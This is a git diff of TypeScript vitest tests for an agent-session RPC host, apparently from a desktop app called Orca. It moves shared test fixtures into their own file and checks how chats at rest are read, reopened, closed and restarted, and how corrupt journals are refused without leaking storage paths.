'../../../../shared/structured-agent-session-projection' +import { hostTestOperationId } from '../../../native-chat/agent-session-wire/structured-agent-session-host-test-data' +import { setStructuredAgentSessionHost } from '../../../native-chat/agent-session-wire/structured-agent-session-registry' +import { + foundRestTestChat, + REST_TEST_CALLER as CALLER, + REST_TEST_SESSION as SESSION, + REST_TEST_THREAD, + restTestSend +} from '../../../native-chat/agent-session-wire/structured-agent-session-rest-test-rig' +import { closeStructuredAgentSessionChild } from '../../agent-session/structured-agent-session-close' +import { discardStructuredWorkerSession } from './orchestration-structured-worker-session' +import { claudeAndCodexDeclared } from '../../../native-chat/agent-session-wire/structured-agent-session-adapter-router-test-support' + +import { fixture, call, restingChat } from './structured-agent-session-rest-contract-test-fixture' + +it('records a pick as intent and replays it at the next start (P2-16)', async () => { + await restingChat() + const fields = { key: 'model', value: 'gpt-picked' } + const [picked] = await call('agentSession.setOption', { + envelope: { + sessionId: SESSION, + clientOperationId: hostTestOperationId(), + expectedRuntimeFence: fixture.rig.store.getRecord(SESSION)!.lease.runtimeFence, + payloadFingerprint: computeAgentSessionPayloadFingerprint({ + method: 'agentSession.setOption', + sessionId: SESSION, + fields + }) + }, + ...fields + }) + expect(picked).toMatchObject({ ok: true, result: { ok: true } }) + expect(fixture.rig.store.getRecord(SESSION)?.options).toMatchObject({ model: 'gpt-picked' }) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() + + const fence = fixture.rig.store.getRecord(SESSION)!.lease.runtimeFence + await fixture.rig.host.send(CALLER, restTestSend('use the new model', fence)) + await vi.waitFor(() => expect(fixture.rig.adapter.acquire).toHaveBeenCalledOnce()) + expect(fixture.rig.adapter.acquire.mock.calls[0]?.[0]).toMatchObject({ + options: expect.objectContaining({ model: 'gpt-picked' }) + }) +}) + +it('answers the provider-level features of a chat at rest (P2-17)', async () => { + await restingChat() + setStructuredAgentSessionHost(await fixture.rig.restart({ agents: claudeAndCodexDeclared() })) + Object.assign(fixture.rig.host.deps.adapter, { + rewindSupport: (_id: string, agent?: string) => + agent === 'codex' ? { supported: true } : { supported: false, reason: 'unsupported' } + }) + const [options] = await call('agentSession.options', { sessionId: SESSION }) + expect(options).toMatchObject({ + ok: true, + result: { threadGoal: { current: null }, rewind: { supported: true } } + }) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() + expect(fixture.rig.adapter.readOptions).not.toHaveBeenCalled() +}) + +it('is shown, not respawned; the next send starts the agent (P2-18)', async () => { + await foundRestTestChat(fixture.rig) + const running = fixture.rig.host.collaboratorsForTests().sessions.get(SESSION)!.child! + await fixture.rig.host.handleAdapterEvent({ + type: 'ended', + sessionId: SESSION, + reason: 'killed', + cause: 'unexpected-exit', + fence: running.fence, + acquisitionGeneration: running.generation! + }) + // ast-grep-ignore: test-no-real-time-wait -- proves no respawn follows the exit; an absence has no condition to wait on. + await new Promise((resolve) => setTimeout(resolve, 50)) + expect(fixture.rig.adapter.acquire).toHaveBeenCalledOnce() + + const fence = fixture.rig.store.getRecord(SESSION)!.lease.runtimeFence + expect(fixture.rig.store.getRecord(SESSION)?.lease.claimStatus).toBe('released') + await fixture.rig.host.send(CALLER, restTestSend('again', fence)) + await vi.waitFor(() => expect(fixture.rig.adapter.acquire).toHaveBeenCalledTimes(2)) +}) + +it('whose settlement write failed is settled by the next send, which is delivered', async () => { + await foundRestTestChat(fixture.rig) + const open = fixture.rig.host.collaboratorsForTests().sessions.get(SESSION)! + const running = open.child! + // A turn in flight, so the exit has something to settle. + fixture.rig.adapter.acquire.mock.calls + .at(-1)?.[0] + .events?.appendItem( + { provider: 'codex', threadId: REST_TEST_THREAD, turnId: 'working', ordinal: 50 }, + { kind: 'turn', turnId: 'working', state: 'running' }, + { turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + await fixture.rig.host.flushStreamedEvents(SESSION) + // Refuse both the exit write and its queued retry to test retained death evidence. + vi.spyOn(open.journal, 'appendLifecycleBatch') + .mockRejectedValueOnce(new Error('disk full')) + .mockRejectedValueOnce(new Error('disk full')) + await fixture.rig.host.handleAdapterEvent({ + type: 'ended', + sessionId: SESSION, + reason: 'killed', + cause: 'unexpected-exit', + fence: running.fence, + acquisitionGeneration: running.generation! + }) + // Released with its death evidence, not latched: the next acquire settles from that evidence. + await vi.waitFor(() => + expect(fixture.rig.store.getRecord(SESSION)?.lease).toMatchObject({ + claimStatus: 'released', + deathEvidence: { kind: 'exit-observed' } + }) + ) + await fixture.rig.host.collaboratorsForTests().serialize(SESSION, async () => {}) + + const sent = await fixture.rig.host.send( + CALLER, + restTestSend('again', fixture.rig.store.getRecord(SESSION)!.lease.runtimeFence) + ) + + if (!sent.ok) { + throw new Error(`send refused: ${sent.refusal.code}`) + } + await fixture.rig.host.waitForSendSettlement(SESSION, sent.value.clientMessageId) + expect(fixture.rig.adapter.dispatch).toHaveBeenCalledTimes(2) + expect( + activeStructuredAgentSessionTurnId((await fixture.rig.host.journalSnapshot(SESSION)).items) + ).not.toBe('working') +}) + +it.each([ + ['the close RPC', async () => void (await call('agentSession.close', { sessionId: SESSION }))], + ['the runtime chat close', async () => void (await closeStructuredAgentSessionChild(SESSION))], + [ + 'a discarded worker', + () => + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the discard reads only this runtime member. + discardStructuredWorkerSession(SESSION, { + retireStructuredAgentSessionTabFromSnapshot: () => undefined + } as never) + ] +])('%s rejects a message accepted before any start, and starts nothing', async (_, close) => { + await restingChat() + const { loop } = fixture.rig.host.collaboratorsForTests().conversationDelivery + vi.spyOn(loop, 'wake').mockImplementation(() => Promise.resolve()) + const reader: unknown[] = [] + await fixture.rig.host.subscribe({ + id: 'reader', + sessionId: SESSION, + emit: (event) => reader.push(event) + }) + const fence = fixture.rig.store.getRecord(SESSION)!.lease.runtimeFence + expect( + (await fixture.rig.host.send(CALLER, restTestSend('closed before it went', fence))).ok + ).toBe(true) + + await close() + // A close's rejection is a sentence with its fact beside it, never a marker. + await vi.waitFor(() => + expect(JSON.stringify(reader)).toContain( + '"reason":"The chat closed before this message was sent.","submittedAt"' + ) + ) + expect(JSON.stringify(reader)).toContain('"rejection":{"kind":"chatClosed"}') + expect(fixture.rig.host.hasSession(SESSION)).toBe(false) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() +}) diff --git a/src/main/runtime/rpc/methods/structured-agent-session-at-rest.test.ts b/src/main/runtime/rpc/methods/structured-agent-session-at-rest.test.ts index 541ed1a048e..ebb84981a0d 100644 --- a/src/main/runtime/rpc/methods/structured-agent-session-at-rest.test.ts +++ b/src/main/runtime/rpc/methods/structured-agent-session-at-rest.test.ts @@ -1,820 +1,262 @@ -import * as fileOperations from 'node:fs/promises' -import { readFile, rm } from 'node:fs/promises' -import * as contextSnapshots from '../../../native-chat/agent-session-context-snapshots' -import { piRpcDialogPresentation } from '../../../pi/rpc-extension-dialogs' -import { legacyAgentSessionSelectedOptionId } from '../../../../shared/agent-session-question-answer' -import type { - AgentJournalItemBody, - AgentJournalResolution, - AgentJournalQuestionItem -} from '../../../../shared/agent-session-journal-types' import '../unused-default-rpc-methods.test-fixture' +vi.mock('node:fs/promises', { spy: true }) import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../../shared/agent-session-journal-types' -// Exercise real chat RPC: reads at rest start nothing; the first message starts the agent. - -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { computeAgentSessionPayloadFingerprint } from '../../../../shared/agent-session-mutation-envelope' -import { STRUCTURED_AGENT_SESSION_RUNTIME_CAPABILITY } from '../../../../shared/protocol-version' -import { activeStructuredAgentSessionTurnId } from '../../../../shared/structured-agent-session-projection' +import { expect, it, vi } from 'vitest' import { hostTestAttachParams, - hostTestMessage, - hostTestOperationId + hostTestMessage } from '../../../native-chat/agent-session-wire/structured-agent-session-host-test-data' import { setStructuredAgentSessionHost } from '../../../native-chat/agent-session-wire/structured-agent-session-registry' import { - createRestTestRig, foundRestTestChat, REST_TEST_CALLER as CALLER, REST_TEST_SESSION as SESSION, REST_TEST_THREAD, - restTestSend, - type RestTestRig + restTestSend } from '../../../native-chat/agent-session-wire/structured-agent-session-rest-test-rig' -import { - editPersistedTestAgentSessionStore, - readPersistedTestAgentSessionStore -} from '../../agent-session-record-store-test-harness' -import { OrcaRuntimeService } from '../../orca-runtime' import type { RpcResponse } from '../core' -import { RpcDispatcher } from '../dispatcher' -import { closeStructuredAgentSessionChild } from '../../agent-session/structured-agent-session-close' -import { discardStructuredWorkerSession } from './orchestration-structured-worker-session' -import { STRUCTURED_AGENT_SESSION_METHODS } from './structured-agent-session' -import { - liveTestJournalRows, - openTestJournalHostDatabase, - updateTestJournalRowJson -} from '../../../native-chat/agent-session-journal/journal-host-database-test-support' -import { claudeAndCodexDeclared } from '../../../native-chat/agent-session-wire/structured-agent-session-adapter-router-test-support' +import { openTestJournalHostDatabase } from '../../../native-chat/agent-session-journal/journal-host-database-test-support' -vi.mock('node:fs/promises', { spy: true }) -const actualFiles = await vi.importActual('node:fs/promises') +import { fixture, call, restingChat } from './structured-agent-session-rest-contract-test-fixture' -const CLIENT = { - clientId: 'device-1', - clientKind: 'runtime' as const, - clientCapabilities: [STRUCTURED_AGENT_SESSION_RUNTIME_CAPABILITY], - connectionId: 'connection-1' -} - -let rig: RestTestRig -let dispatcher: RpcDispatcher -let requests = 0 - -async function call(method: string, params: unknown): Promise { - const replies: RpcResponse[] = [] - requests += 1 - await dispatcher.dispatchStreaming( - { id: `request-${requests}`, authToken: 'token', method, params }, - (raw) => replies.push(JSON.parse(raw) as RpcResponse), - CLIENT - ) - return replies -} - -/** A chat that once ran, reopened by a fresh host: nothing of it is in memory. */ -async function restingChat(): Promise { - await foundRestTestChat(rig) - await rig.store.replaceSessionOptions({ - sessionId: SESSION, - fence: rig.store.getRecord(SESSION)!.lease.runtimeFence, - options: { model: 'gpt-saved', effort: 'high' }, - now: rig.clock.now - }) - await rig.restart() - setStructuredAgentSessionHost(rig.host) - rig.adapter.acquire.mockClear() - rig.adapter.dispatch.mockClear() - rig.adapter.readOptions.mockClear() -} - -beforeEach(async () => { - requests = 0 - rig = await createRestTestRig({ idleSweep: { intervalMs: 3_600_000 } }) - setStructuredAgentSessionHost(rig.host) - const runtime = new OrcaRuntimeService() - - dispatcher = new RpcDispatcher({ runtime, methods: STRUCTURED_AGENT_SESSION_METHODS }) -}) - -afterEach(async () => { - vi.restoreAllMocks() - setStructuredAgentSessionHost(null) - await rig.dispose() - await actualFiles.rm(contextSnapshots.agentSessionContextSnapshotRoot(rig.root), { - recursive: true, - force: true - }) -}) - -describe('opening a chat at rest (P2-01)', () => { - it('reads, subscribes and answers everything without starting an agent', async () => { - await restingChat() - expect(rig.host.hasSession(SESSION)).toBe(false) - - const [history] = await call('agentSession.history', { sessionId: SESSION, direction: 'tail' }) - const frames = await call('agentSession.subscribe', { sessionId: SESSION }) - const [options] = await call('agentSession.options', { sessionId: SESSION }) - const [commands] = await call('agentSession.commands', { sessionId: SESSION }) - const [outline] = await call('agentSession.conversationOutline', { sessionId: SESSION }) - const [status] = await call('agentSession.handoffStatus', { sessionId: SESSION }) - const [held] = await call('agentSession.hold', { sessionId: SESSION, holderId: 'pane' }) - - expect(rig.adapter.acquire).not.toHaveBeenCalled() - expect(history).toMatchObject({ ok: true, result: { ok: true } }) - const snapshot = frames.find((frame) => frame.ok && 'result' in frame) - expect(snapshot).toMatchObject({ result: { type: 'snapshot', commands: null } }) - expect(options).toMatchObject({ - ok: true, - result: { current: { model: 'gpt-saved', effort: 'high' } } - }) - // Absent, never an empty list: the composer keeps its own menu. - expect(commands).toMatchObject({ ok: true, result: {} }) - expect(commands?.ok && 'result' in commands && commands.result).not.toHaveProperty( - 'commands', - [] - ) - expect(outline).toMatchObject({ ok: true }) - expect(status).toMatchObject({ ok: true }) - expect(held).toMatchObject({ ok: true, result: { held: true } }) - }) - - it('answers the owner check from the record without opening the chat', async () => { - await restingChat() - - const [status] = await call('agentSession.handoffStatus', { sessionId: SESSION }) - - expect(status).toMatchObject({ ok: true, result: { owner: expect.any(String) } }) - expect(rig.host.hasSession(SESSION)).toBe(false) - }) - - it('starts the agent on the first send (P2-01)', async () => { - await restingChat() - const fence = rig.store.getRecord(SESSION)!.lease.runtimeFence - const sent = await rig.host.send(CALLER, restTestSend('wake up', fence)) - if (!sent.ok) { - throw new Error(`send refused: ${sent.refusal.code}`) - } - // Awaits the provider's answer itself rather than polling for it, however slow the start. - await rig.host.waitForSendSettlement(SESSION, sent.value.clientMessageId) - expect(rig.adapter.acquire).toHaveBeenCalledOnce() - expect(rig.adapter.dispatch).toHaveBeenCalledOnce() - }) -}) - -describe('the accessor', () => { - it('opens a closed conversation once, however many readers arrive together (P2-02)', async () => { - const attached = await rig.host.attach(CALLER, hostTestAttachParams(null)) - expect(attached.ok).toBe(true) - rig.adapter.acquire.mock.calls - .at(-1)?.[0] - .events?.appendItem( - { provider: 'codex', threadId: REST_TEST_THREAD, turnId: 'turn-1', ordinal: 1 }, - hostTestMessage('from the provider'), - { turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - await rig.host.flushStreamedEvents(SESSION) - await rig.restart() - setStructuredAgentSessionHost(rig.host) - rig.adapter.acquire.mockClear() - const open = vi.spyOn(rig.host.collaboratorsForTests().conversationDelivery, 'open') - await Promise.all([ - ...Array.from({ length: 5 }, () => - call('agentSession.history', { sessionId: SESSION, direction: 'tail' }) - ), - call('agentSession.subscribe', { sessionId: SESSION }) - ]) - const openedJournals = new Set( - await Promise.all(open.mock.results.map((result) => result.value)) - ) - expect(openedJournals.size).toBe(1) - expect(rig.adapter.acquire).not.toHaveBeenCalled() - }) - - it('opens nothing once quit began, for a read that was already waiting on the lock', async () => { - await restingChat() - // The host's per-session queue, held so the read waits behind it. - const { serialize, lifetime } = rig.host.collaboratorsForTests() - let release = (): void => undefined - const held = new Promise((started) => { - void serialize(SESSION, () => { - started() - return new Promise((resolve) => (release = resolve)) - }) - }) - await held - const read = rig.host.history({ sessionId: SESSION, direction: 'tail' }) - - // Disposed as quit's first teardown step does. - lifetime.dispose() - release() - - await expect(read).rejects.toThrow() - expect(rig.host.hasSession(SESSION)).toBe(false) - }) - - it('refuses a read it cannot open with the reason, under the same code and message', async () => { - const [missing] = await call('agentSession.history', { - sessionId: 'session-never-created', - direction: 'tail' - }) - expect(missing).toMatchObject({ - ok: false, - error: { - code: 'agent_session_identity_required', - message: 'agent_session_identity_required', - data: { - refusal: { - code: 'agent_session_identity_required', - details: { reason: 'recordMissing' } - } - } - } - }) - }) - - it('refuses a read whose journal will not open with the classified reason, never the storage text', async () => { - await restingChat() - const open = vi.spyOn(rig.host.collaboratorsForTests().conversationDelivery, 'open') - vi.spyOn(console, 'warn').mockImplementation(() => undefined) - const storagePath = '/Users/someone/.orca/journals/session-1/journal.sqlite' - const failWith = (error: Error): void => { - open.mockRejectedValue(error) - } - const failures = async (): Promise => - [ - ...(await call('agentSession.history', { sessionId: SESSION, direction: 'tail' })), - ...(await call('agentSession.subscribe', { sessionId: SESSION })), - ...(await call('agentSession.options', { sessionId: SESSION })) - ].filter((reply) => !reply.ok) - - failWith( - Object.assign(new Error(`file is not a database: ${storagePath}`), { - code: 'ERR_SQLITE_ERROR', - errcode: 26 - }) - ) - const corrupt = await failures() - failWith(Object.assign(new Error(`EACCES: permission denied, open '${storagePath}'`), {})) - const unavailable = await failures() - - for (const [replies, reason] of [ - [corrupt, 'journalCorrupt'], - [unavailable, 'journalUnavailable'] - ] as const) { - expect(replies).toHaveLength(3) - for (const reply of replies) { - expect(reply).toMatchObject({ - ok: false, - error: { - // Released clients still read this refusal code from the message, not passthrough code. - code: 'runtime_error', - message: 'agent_session_journal_unreadable', - data: { refusal: { code: 'agent_session_journal_unreadable', details: { reason } } } - } - }) - expect(JSON.stringify(reply)).not.toContain(storagePath) - } - } - }) - - it('logs a reader reconnecting to a journal that will not open once per failure', async () => { - await restingChat() - const open = vi.spyOn(rig.host.collaboratorsForTests().conversationDelivery, 'open') - const warn = vi.spyOn(console, 'warn').mockImplementation(() => undefined) - const logged = (): unknown[] => - warn.mock.calls - .filter( - ([line]) => - line === '[agent-session] open-for-read: opening the conversation for a read failed' - ) - .map(([, fields]) => fields?.error) - const reconnect = async (): Promise => [ - ...(await call('agentSession.subscribe', { sessionId: SESSION })), - ...(await call('agentSession.history', { sessionId: SESSION, direction: 'tail' })) - ] - const denied = new Error('EACCES: permission denied') - const exhausted = new Error('EMFILE: too many open files') - - open.mockRejectedValue(denied) - for (let attempt = 0; attempt < 4; attempt += 1) { - // Every attempt is still refused with its reason; only the log is quiet. - expect((await reconnect()).filter((reply) => !reply.ok)).toHaveLength(2) - } - expect(logged()).toEqual([denied]) - open.mockRejectedValue(exhausted) - await reconnect() - await reconnect() - expect(logged()).toEqual([denied, exhausted]) - }) - - it('refuses a damaged journal as unloadable at subscribe and send, and keeps its rows (P2-03)', async () => { - await foundRestTestChat(rig) - await rig.host.flushAllStreamedEvents() - updateTestJournalRowJson(openTestJournalHostDatabase(rig.root).db, SESSION, 2, '}{') - await rig.restart() - setStructuredAgentSessionHost(rig.host) - - const frames = await call('agentSession.subscribe', { sessionId: SESSION }) - expect(frames.find((frame) => !frame.ok)).toMatchObject({ - error: { - data: { - refusal: { - code: 'agent_session_journal_unreadable', - details: { reason: 'journalCorrupt' } - } - } - } - }) - const fence = rig.store.getRecord(SESSION)!.lease.runtimeFence - expect(await rig.host.send(CALLER, restTestSend('after the damage', fence))).toMatchObject({ - ok: false, - refusal: { code: 'agent_session_journal_unreadable', details: { reason: 'journalCorrupt' } } - }) - expect( - liveTestJournalRows(openTestJournalHostDatabase(rig.root).db, SESSION).find( - (row) => row.seq === 2 - )?.rowJson - ).toBe('}{') - }) - - it('subscribes an old mobile client that holds first even when no agent can start (P2-06)', async () => { - await restingChat() - rig.adapter.acquire.mockRejectedValue(new Error('auth expired')) - - const [held] = await call('agentSession.hold', { sessionId: SESSION, holderId: 'mobile' }) - const frames = await call('agentSession.subscribe', { sessionId: SESSION }) - expect(held).toMatchObject({ ok: true }) - expect(frames.find((frame) => frame.ok)).toMatchObject({ result: { type: 'snapshot' } }) - expect(rig.adapter.acquire).not.toHaveBeenCalled() - }) -}) - -describe('options at rest', () => { - it('records a pick as intent and replays it at the next start (P2-16)', async () => { - await restingChat() - const fields = { key: 'model', value: 'gpt-picked' } - const [picked] = await call('agentSession.setOption', { - envelope: { - sessionId: SESSION, - clientOperationId: hostTestOperationId(), - expectedRuntimeFence: rig.store.getRecord(SESSION)!.lease.runtimeFence, - payloadFingerprint: computeAgentSessionPayloadFingerprint({ - method: 'agentSession.setOption', - sessionId: SESSION, - fields - }) - }, - ...fields - }) - expect(picked).toMatchObject({ ok: true, result: { ok: true } }) - expect(rig.store.getRecord(SESSION)?.options).toMatchObject({ model: 'gpt-picked' }) - expect(rig.adapter.acquire).not.toHaveBeenCalled() - - const fence = rig.store.getRecord(SESSION)!.lease.runtimeFence - await rig.host.send(CALLER, restTestSend('use the new model', fence)) - await vi.waitFor(() => expect(rig.adapter.acquire).toHaveBeenCalledOnce()) - expect(rig.adapter.acquire.mock.calls[0]?.[0]).toMatchObject({ - options: expect.objectContaining({ model: 'gpt-picked' }) - }) - }) - - it('answers the provider-level features of a chat at rest (P2-17)', async () => { - await restingChat() - setStructuredAgentSessionHost(await rig.restart({ agents: claudeAndCodexDeclared() })) - Object.assign(rig.host.deps.adapter, { - rewindSupport: (_id: string, agent?: string) => - agent === 'codex' ? { supported: true } : { supported: false, reason: 'unsupported' } - }) - const [options] = await call('agentSession.options', { sessionId: SESSION }) - expect(options).toMatchObject({ - ok: true, - result: { threadGoal: { current: null }, rewind: { supported: true } } - }) - expect(rig.adapter.acquire).not.toHaveBeenCalled() - expect(rig.adapter.readOptions).not.toHaveBeenCalled() - }) -}) - -describe('an agent exit', () => { - it('is shown, not respawned; the next send starts the agent (P2-18)', async () => { - await foundRestTestChat(rig) - const running = rig.host.collaboratorsForTests().sessions.get(SESSION)!.child! - await rig.host.handleAdapterEvent({ - type: 'ended', - sessionId: SESSION, - reason: 'killed', - cause: 'unexpected-exit', - fence: running.fence, - acquisitionGeneration: running.generation! - }) - await new Promise((resolve) => setTimeout(resolve, 50)) - expect(rig.adapter.acquire).toHaveBeenCalledOnce() - - const fence = rig.store.getRecord(SESSION)!.lease.runtimeFence - expect(rig.store.getRecord(SESSION)?.lease.claimStatus).toBe('released') - await rig.host.send(CALLER, restTestSend('again', fence)) - await vi.waitFor(() => expect(rig.adapter.acquire).toHaveBeenCalledTimes(2)) - }) - - it('whose settlement write failed is settled by the next send, which is delivered', async () => { - await foundRestTestChat(rig) - const open = rig.host.collaboratorsForTests().sessions.get(SESSION)! - const running = open.child! - // A turn in flight, so the exit has something to settle. - rig.adapter.acquire.mock.calls - .at(-1)?.[0] - .events?.appendItem( - { provider: 'codex', threadId: REST_TEST_THREAD, turnId: 'working', ordinal: 50 }, - { kind: 'turn', turnId: 'working', state: 'running' }, - { turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - await rig.host.flushStreamedEvents(SESSION) - // Refuse both the exit write and its queued retry to test retained death evidence. - vi.spyOn(open.journal, 'appendLifecycleBatch') - .mockRejectedValueOnce(new Error('disk full')) - .mockRejectedValueOnce(new Error('disk full')) - await rig.host.handleAdapterEvent({ - type: 'ended', - sessionId: SESSION, - reason: 'killed', - cause: 'unexpected-exit', - fence: running.fence, - acquisitionGeneration: running.generation! - }) - // Released with its death evidence, not latched: the next acquire settles from that evidence. - await vi.waitFor(() => - expect(rig.store.getRecord(SESSION)?.lease).toMatchObject({ - claimStatus: 'released', - deathEvidence: { kind: 'exit-observed' } - }) - ) - await rig.host.collaboratorsForTests().serialize(SESSION, async () => {}) - - const sent = await rig.host.send( - CALLER, - restTestSend('again', rig.store.getRecord(SESSION)!.lease.runtimeFence) - ) - - if (!sent.ok) { - throw new Error(`send refused: ${sent.refusal.code}`) - } - await rig.host.waitForSendSettlement(SESSION, sent.value.clientMessageId) - expect(rig.adapter.dispatch).toHaveBeenCalledTimes(2) - expect( - activeStructuredAgentSessionTurnId((await rig.host.journalSnapshot(SESSION)).items) - ).not.toBe('working') - }) -}) - -describe('every close withdraws what is queued (P2-29)', () => { - it.each([ - ['the close RPC', async () => void (await call('agentSession.close', { sessionId: SESSION }))], - ['the runtime chat close', async () => void (await closeStructuredAgentSessionChild(SESSION))], - [ - 'a discarded worker', - () => - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the discard reads only this runtime member. - discardStructuredWorkerSession(SESSION, { - retireStructuredAgentSessionTabFromSnapshot: () => undefined - } as never) - ] - ])('%s rejects a message accepted before any start, and starts nothing', async (_, close) => { - await restingChat() - const { loop } = rig.host.collaboratorsForTests().conversationDelivery - vi.spyOn(loop, 'wake').mockImplementation(() => Promise.resolve()) - const reader: unknown[] = [] - await rig.host.subscribe({ - id: 'reader', - sessionId: SESSION, - emit: (event) => reader.push(event) - }) - const fence = rig.store.getRecord(SESSION)!.lease.runtimeFence - expect((await rig.host.send(CALLER, restTestSend('closed before it went', fence))).ok).toBe( - true - ) - - await close() - // A close's rejection is a sentence with its fact beside it, never a marker. - await vi.waitFor(() => - expect(JSON.stringify(reader)).toContain( - '"reason":"The chat closed before this message was sent.","submittedAt"' - ) - ) - expect(JSON.stringify(reader)).toContain('"rejection":{"kind":"chatClosed"}') - expect(rig.host.hasSession(SESSION)).toBe(false) - expect(rig.adapter.acquire).not.toHaveBeenCalled() - }) -}) - -it('hands off the reduced saved chat after clear and rewind, budgets only the starter and overwrites its file', async () => { +it('reads, subscribes and answers everything without starting an agent', async () => { await restingChat() - await rig.host.journalSnapshot(SESSION) - let journal = rig.host.collaboratorsForTests().sessions.get(SESSION)!.journal - const fence = rig.store.getRecord(SESSION)!.lease.runtimeFence - const receipt = { write: () => {}, committed: () => {} } - let ordinal = 100 - const append = (text: string | AgentJournalItemBody, itemOrdinal = ordinal++) => - journal.appendItem( - { provider: 'codex', threadId: 'saved-thread', turnId: 'saved-turn', ordinal: itemOrdinal }, - typeof text === 'string' ? hostTestMessage(text) : text, - { - fence: rig.store.getRecord(SESSION)!.lease.runtimeFence, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - } - ) - await append('PRE_CLEAR_SECRET') - await journal.context.clear( - { operationId: 'pr-31782-clear', afterFence: fence, clearedAt: rig.clock.now }, - receipt - ) - await append('EARLY_SAVED_MARKER') - for (let index = 0; index < 205; index++) { - await append(`saved ${index} ${'context '.repeat(60)}`) - } - const floor = journal.cursor() - await append('DISCARDED_REWIND_SECRET') - await journal.context.rewind(floor, fence, [], () => receipt) - const resolution = ( - state: AgentJournalResolution['state'], - selectedOptionId: string | null = null - ): AgentJournalResolution => ({ state, selectedOptionId, resolvedBy: null, resolvedAt: null }) - const question = (name: string, answer?: string): AgentJournalQuestionItem => ({ - kind: 'question', - question: name, - options: [], - freeTextQuestionId: 'input', - freeTextInput: { allowEmpty: true }, - resolution: { - ...resolution('resolved'), - ...(answer !== undefined - ? { answers: [{ questionId: 'input', optionIds: [], other: answer }] } - : {}) - } + expect(fixture.rig.host.hasSession(SESSION)).toBe(false) + + const [history] = await call('agentSession.history', { sessionId: SESSION, direction: 'tail' }) + const frames = await call('agentSession.subscribe', { sessionId: SESSION }) + const [options] = await call('agentSession.options', { sessionId: SESSION }) + const [commands] = await call('agentSession.commands', { sessionId: SESSION }) + const [outline] = await call('agentSession.conversationOutline', { sessionId: SESSION }) + const [status] = await call('agentSession.handoffStatus', { sessionId: SESSION }) + const [held] = await call('agentSession.hold', { sessionId: SESSION, holderId: 'pane' }) + + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() + expect(history).toMatchObject({ ok: true, result: { ok: true } }) + const snapshot = frames.find((frame) => frame.ok && 'result' in frame) + expect(snapshot).toMatchObject({ result: { type: 'snapshot', commands: null } }) + expect(options).toMatchObject({ + ok: true, + result: { current: { model: 'gpt-saved', effort: 'high' } } }) - for (const [name, value] of [ - ['deployment', ' deploy to staging '], - ['explicit empty', ''], - ['whitespace', ' \t'] - ]) { - await append(question(name, value)) - } - await append(question('unreadable')) - await append({ ...question('cancelled ask'), resolution: resolution('cancelled') }) - await append({ - ...question('legacy answer'), - resolution: resolution('resolved', 'input:legacy%20deployment') - }) - await append({ - kind: 'question', - question: 'Release choices', - options: [], - questions: [ - { - id: 'regions', - header: 'Region group', - question: 'Which regions?', - multiSelect: true, - options: [ - { id: 'east', label: 'East', description: 'Primary region' }, - { id: 'west', label: 'West' } - ] - }, - { - id: 'details', - question: 'Release detail?', - multiSelect: true, - options: [{ id: 'known', label: 'Known' }], - freeTextQuestionId: 'details' - } - ], - resolution: { - ...resolution('resolved'), - answers: [ - { questionId: 'regions', optionIds: ['east', 'west'] }, - { questionId: 'details', optionIds: ['known', 'missing'], other: 'partial text' } - ] - } - }) - for (const choice of ['yes', 'no']) { - await append({ - kind: 'approval', - title: `Confirm ${choice}`, - detail: 'Deploy?', - options: [ - { id: 'yes', label: 'Yes' }, - { id: 'no', label: 'No' } - ], - resolution: resolution('resolved', choice) - }) - } - await append({ - kind: 'approval', - title: 'Review plan', - description: 'Saved description', - decisionReason: 'Saved reason', - matchedAskRule: { source: 'workspace', toolName: 'Write', ruleContent: 'Saved ask rule' }, - blockedPath: '/work/target', - detail: 'Clipped detail', - subject: { kind: 'plan', text: 'RETAINED_PLAN_MARKER', filePath: '/work/plan.md' }, - options: [ - { id: 'plan', label: 'Approve plan' }, - { id: 'keep', label: 'Keep planning' } - ], - resolution: resolution('resolved', 'keep') - }) - const editor = piRpcDialogPresentation({ - id: 'editor', - method: 'editor', - title: 'Edit release notes', - prefill: 'RETAINED_EDITOR_MARKER\nHold deployment', - placeholder: 'Keep migration details' - }) - if (editor?.body.kind !== 'question') { - throw new Error('Pi editor missing') - } - const editorOrdinal = ordinal++ - await append(editor.body, editorOrdinal) - const editorParams = { - sessionId: SESSION, - workspaceId: 'workspace-1', - expectedCursor: { epoch: journal.cursor().epoch, sequence: 0 } - } - const pendingEditor = await rig.host.continuationContext(editorParams) - if (pendingEditor.status !== 'current' || !pendingEditor.transcriptPath) { - throw new Error('Pending editor snapshot missing') - } - for (const text of [ - await readFile(pendingEditor.transcriptPath, 'utf8'), - pendingEditor.capturedText ?? '' - ]) { - expect(text).toContain( - 'Prompt state: pending\nSaved prompt: {"kind":"question","question":"Edit release notes"' - ) - expect(text).toContain('"initialValue":"RETAINED_EDITOR_MARKER\\nHold deployment"') - expect(text).toContain('"placeholder":"Keep migration details"') - } - const answers = [{ questionId: 'editor', optionIds: [], other: 'REPLACEMENT_EDITOR_ANSWER' }] - const selectedOptionId = legacyAgentSessionSelectedOptionId(editor.body, answers) - await append( - { ...editor.body, resolution: { ...resolution('resolved', selectedOptionId), answers } }, - editorOrdinal - ) - await rig.restart() - setStructuredAgentSessionHost(rig.host) - const snapshot = await rig.host.journalSnapshot(SESSION) - journal = rig.host.collaboratorsForTests().sessions.get(SESSION)!.journal - await append({ ...question('pending ask'), resolution: resolution('pending') }) - const params = { - sessionId: SESSION, - workspaceId: 'workspace-1', - expectedCursor: { epoch: snapshot.cursor.epoch, sequence: 0 } - } - await call('agentSession.options', { sessionId: SESSION }) - const gate = Promise.withResolvers() - const write = actualFiles.writeFile - const writing = vi.spyOn(fileOperations, 'writeFile').mockImplementationOnce(async (...args) => { - await gate.promise - return write(...args) - }) - const pending = rig.host.continuationContext(params) - await vi.waitFor(() => expect(writing).toHaveBeenCalledOnce()) - const currentJournal = rig.host.collaboratorsForTests().sessions.get(SESSION)!.journal - await currentJournal.appendItem( - { provider: 'orca', clientMessageId: 'pr-31782-late' }, - 